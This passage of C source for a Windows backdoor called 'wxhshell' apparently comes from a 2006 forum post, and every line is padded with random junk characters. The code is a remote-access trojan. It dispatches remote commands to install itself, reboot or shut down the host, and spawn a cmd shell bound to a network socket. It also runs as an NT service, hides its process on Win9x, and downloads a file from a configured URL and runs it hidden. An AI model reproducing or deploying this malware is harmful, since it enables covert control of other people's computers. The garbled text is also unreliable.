  else { 44B D2`nF  
XqUQ{^;aI  
    switch(cmd[0]) { XksI.]tfj  
  v_pe=LC{-e  
  // 帮助 n}e%c B  
  case '?': { Im!b-1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @>.aQE  
    break; !L q'o ?  
  } "\`Fu  
  // 安装 c}|.U  
  case 'i': { z~tdLtcX  
    if(Install()) "aI)LlyCY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i>[xN[U(  
    else M*D_p n&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tp{ jR<  
    break; 8!3q:8y8  
    } |4P8N{ L>O  
  // 卸载 rl~Rbi  
  case 'r': { +r//8&  
    if(Uninstall()) <Opw"yY&q]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DNqV]N_W  
    else )V>zXy}Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~n) |  
    break; GD d'{qE6  
    } |6DJ5VFzD  
  // 显示 wxhshell 所在路径 (Cq 38~mR  
  case 'p': { ?wv3HN  
    char svExeFile[MAX_PATH]; Vn:v{-i  
    strcpy(svExeFile,"\n\r"); l;A'^  
      strcat(svExeFile,ExeFile); #>\SK  
        send(wsh,svExeFile,strlen(svExeFile),0); RU'a 8j+W  
    break; S{8-XiL,  
    } <ta{)}IN^  
  // 重启 #W|Obc]K  
  case 'b': { n 3&h1-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u9~Ncz  
    if(Boot(REBOOT)) =_iYT044p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QRKP;aYt  
    else { GHn0(o&K  
    closesocket(wsh); 1!;~Y#  
    ExitThread(0); ((#BU=0iK  
    } D_$N2>I-  
    break; DbB<8$  
    } C9MK3vtD.  
  // 关机 hEZo{0:b"  
  case 'd': { 9I [:#,zdf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 50Gu~No6  
    if(Boot(SHUTDOWN)) !\d~9H%`B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^>!&]@  
    else { f{O-\  
    closesocket(wsh); KehM.c^  
    ExitThread(0); zDtC]y'  
    } >R6mI  
    break; zA+0jhuG  
    } O;V^Fk(  
  // 获取shell ~xc/Dsb$  
  case 's': { &[j9Up'   
    CmdShell(wsh); ')yYpWO  
    closesocket(wsh); Vj1V;dHv  
    ExitThread(0); ~}d\sQF .  
    break; A-3^~aEgx  
  } J(!=Dno  
  // 退出 7A'E+>1d  
  case 'x': { bx{njo1Mr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _K{- 1ZYsi  
    CloseIt(wsh); v?6*n >R  
    break; KaOXqFT=  
    } }Rh%bf7,  
  // 离开 'U ZzH$h  
  case 'q': { vL[IVBG^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R2{]R&wtn0  
    closesocket(wsh); Uf7ACv)Dn  
    WSACleanup(); 6'e^np  
    exit(1); /AOGn?Z3  
    break; 'm |T"Ym~  
        } bo<.pK$  
  } IgwHC0W  
  } edcz%IOM(  
D*VO;?D  
  // 提示信息 ntPj9#lf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o@dT iQK_  
} J1cz D|(  
  } u*5}c7)uId  
RyukQY~<W  
  return; 3]lq#p:  
} RdyKd_0`Q  
0F_hXy@K  
// shell模块句柄 sKKc_H3YSH  
int CmdShell(SOCKET sock) V9Mr&8{S4  
{ +_*NY~  
STARTUPINFO si; ]3='TN8aQF  
ZeroMemory(&si,sizeof(si)); h@1/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |Rx+2`6Dp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g{sp<w0  
PROCESS_INFORMATION ProcessInfo; 4Hb"yp$  
char cmdline[]="cmd"; :%Iv<d<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J"GsdLG.-  
  return 0; qLxcr/fK  
} VB4V[jraCF  
h`O$L_Z  
// 自身启动模式 '-n Iy$>  
int StartFromService(void) F !OD*]  
{ `^on`"\{u  
typedef struct # c1LOz  
{ 5Rw2/J L  
  DWORD ExitStatus; e:4,rfF1  
  DWORD PebBaseAddress; hJ[keaO  
  DWORD AffinityMask; }1V+8'D  
  DWORD BasePriority; JzCkVF$  
  ULONG UniqueProcessId; 5W|wDy  
  ULONG InheritedFromUniqueProcessId; FYE(lEjxi  
}   PROCESS_BASIC_INFORMATION; (6mw@gzr  
VSCKWYy  
PROCNTQSIP NtQueryInformationProcess; EXH,+3fQp  
AB+lM;_>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >$CNR*}@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~l] w=[ z  
yil5 aUA  
  HANDLE             hProcess; l*w'  O  
  PROCESS_BASIC_INFORMATION pbi; b%"/8rK  
` -SC,qHw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DoO ;VF  
  if(NULL == hInst ) return 0; f>cUdEPBb  
|?^N@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;O~FiA~`c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >0 o[@gJl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5%V(eR  
l?m 3 *  
  if (!NtQueryInformationProcess) return 0; 5?Q5cD2]\6  
UA6 C/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9fTl6?x  
  if(!hProcess) return 0; be_h uZ  
e?07o!7[;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .`J*l=u$  
5\}Y=Pa  
  CloseHandle(hProcess); %RF$Y=c'C  
?5lO1(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \SwqBw  
if(hProcess==NULL) return 0; YKayaI\*  
?*kB>U9e  
HMODULE hMod; Er$&}9G+-  
char procName[255]; !nsr( 7X2  
unsigned long cbNeeded; Xq37:E2  
/4+zT?f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I~p*~mLh'  
Lr\(7r  
  CloseHandle(hProcess); )w&|VvM )L  
^e =xEZD  
if(strstr(procName,"services")) return 1; // 以服务启动 q%f90  
9h-S,q!  
  return 0; // 注册表启动 P@5-3]m=  
} r]QeP{  
F/j ; q  
// 主模块 qQo*:3/];  
int StartWxhshell(LPSTR lpCmdLine) yU7XX+cB7  
{ ND=JpVkvZ?  
  SOCKET wsl; F &5iA\  
BOOL val=TRUE; F/tRyq`D  
  int port=0; Wie0r@5E  
  struct sockaddr_in door; F8tMZ,:  
.ty2! .  
  if(wscfg.ws_autoins) Install(); gwg~4:W  
j1K~zG  
port=atoi(lpCmdLine); GuL0:,  
]0%{ IgB  
if(port<=0) port=wscfg.ws_port; 3&c'3y:b  
^:f)XZ  
  WSADATA data; }> C?Zx*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t)k;5B`> &  
egfd=z=2un  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4 PU@W o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D0S^Msk9L  
  door.sin_family = AF_INET; TBF{@{.d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,1<6=vL  
  door.sin_port = htons(port); OzRo  
w+!V,lU"^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :l Z\=2D  
closesocket(wsl); 8/,s 8u  
return 1; } MP_  
} 3y:),;|5  
ab)ckRC  
  if(listen(wsl,2) == INVALID_SOCKET) { r,vSDHb`j  
closesocket(wsl); I7'v;*  
return 1; KlBT9"6"  
} z?`7g%Z?{  
  Wxhshell(wsl); -(%Xq{  
  WSACleanup(); >oEFuwE  
l#>A.-R*`  
return 0; Sw[*1C8  
+Bt%W%_X  
} 33hP/p%  
m#6p=E  
// 以NT服务方式启动 ~e){2_J&n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yC|odX#  
{ w`#9Re  
DWORD   status = 0; UA0( cK  
  DWORD   specificError = 0xfffffff; k4:=y9`R}$  
bsI?=lO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YVz,P_\(m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SST@   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^tjM1uaZ5(  
  serviceStatus.dwWin32ExitCode     = 0; (0?FZ.9%  
  serviceStatus.dwServiceSpecificExitCode = 0; S|yDGT1  
  serviceStatus.dwCheckPoint       = 0; dOg c%(kz  
  serviceStatus.dwWaitHint       = 0; mwz!7Q   
H6 $pA^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yB;K|MXy?  
  if (hServiceStatusHandle==0) return; 0PUSCka'6  
= P$7 "  
status = GetLastError(); iZ ;562Mo  
  if (status!=NO_ERROR) ({C|(v9 C7  
{ iy_3#x5>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /B{c L`<  
    serviceStatus.dwCheckPoint       = 0; ('=Q[ua7-(  
    serviceStatus.dwWaitHint       = 0; poqNiOm4%  
    serviceStatus.dwWin32ExitCode     = status; ukD:4s v  
    serviceStatus.dwServiceSpecificExitCode = specificError; # .OCoc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "88<{xL  
    return; _XI,z0(  
  } -b  )~  
}Q,BI*}*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s cd}{Y  
  serviceStatus.dwCheckPoint       = 0; 3%N!omAe  
  serviceStatus.dwWaitHint       = 0; N{!@M_C^%R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  10_@'N  
} L9z5o(Aa  
o O1Fw1Y  
// 处理NT服务事件,比如:启动、停止 i^}DIx{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :%zAX  
{ kH62#[J)yM  
switch(fdwControl) 2>Kn'p  
{ q\fai^_  
case SERVICE_CONTROL_STOP: #CB`7 }jq  
  serviceStatus.dwWin32ExitCode = 0; ;,B $lgF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0qN?4h)7  
  serviceStatus.dwCheckPoint   = 0; Thp!X/2O`  
  serviceStatus.dwWaitHint     = 0; 8&#)}A}x  
  { ^p\n/#B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $1D>}5Ex  
  } FJsg3D*@J  
  return; cT'<,#^/  
case SERVICE_CONTROL_PAUSE: P[Id[}5Pw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @iYr<>iDZ  
  break; a 0qDRB  
case SERVICE_CONTROL_CONTINUE: 95tHi re  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ::Di  
  break; P"+K'B7K3  
case SERVICE_CONTROL_INTERROGATE: QUc&f+~  
  break; nN[QUg  
}; _w9 :([_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  }_?FmuU  
} gBXbB9  
8d>>r69$pa  
// 标准应用程序主函数 Aq&H-g]s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j sw0"d(  
{ >t $^U  
0 |Rmb  
// 获取操作系统版本 &[-b #&y  
OsIsNt=GetOsVer(); mS-{AK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1jj.oa]  
+"[}gss!@  
  // 从命令行安装 gG,gL 9o  
  if(strpbrk(lpCmdLine,"iI")) Install();  'v&f  
7{u1ynt   
  // 下载执行文件 J|WkPv2  
if(wscfg.ws_downexe) { Uv=hxV[7y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |-vn,zpe  
  WinExec(wscfg.ws_filenam,SW_HIDE); f9b[0L  
} X&|y|  
/A%31WE&1  
if(!OsIsNt) { DI:"+KMq{  
// 如果时win9x,隐藏进程并且设置为注册表启动 !}&f2!?.W  
HideProc(); tt]ZGn*  
StartWxhshell(lpCmdLine); 2E=vMAS  
} inv 5>OeG  
else  )9$>i5l  
  if(StartFromService()) ADlLodG  
  // 以服务方式启动 ,*{9g6  
  StartServiceCtrlDispatcher(DispatchTable); .h>tef  
else 7?~*F7F  
  // 普通方式启动 4-\gha  
  StartWxhshell(lpCmdLine); vsCy?  
&UoQ8&  
return 0; ;rJ/Diz!g  
}
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只看该作者 1 发表于: 2006-10-10
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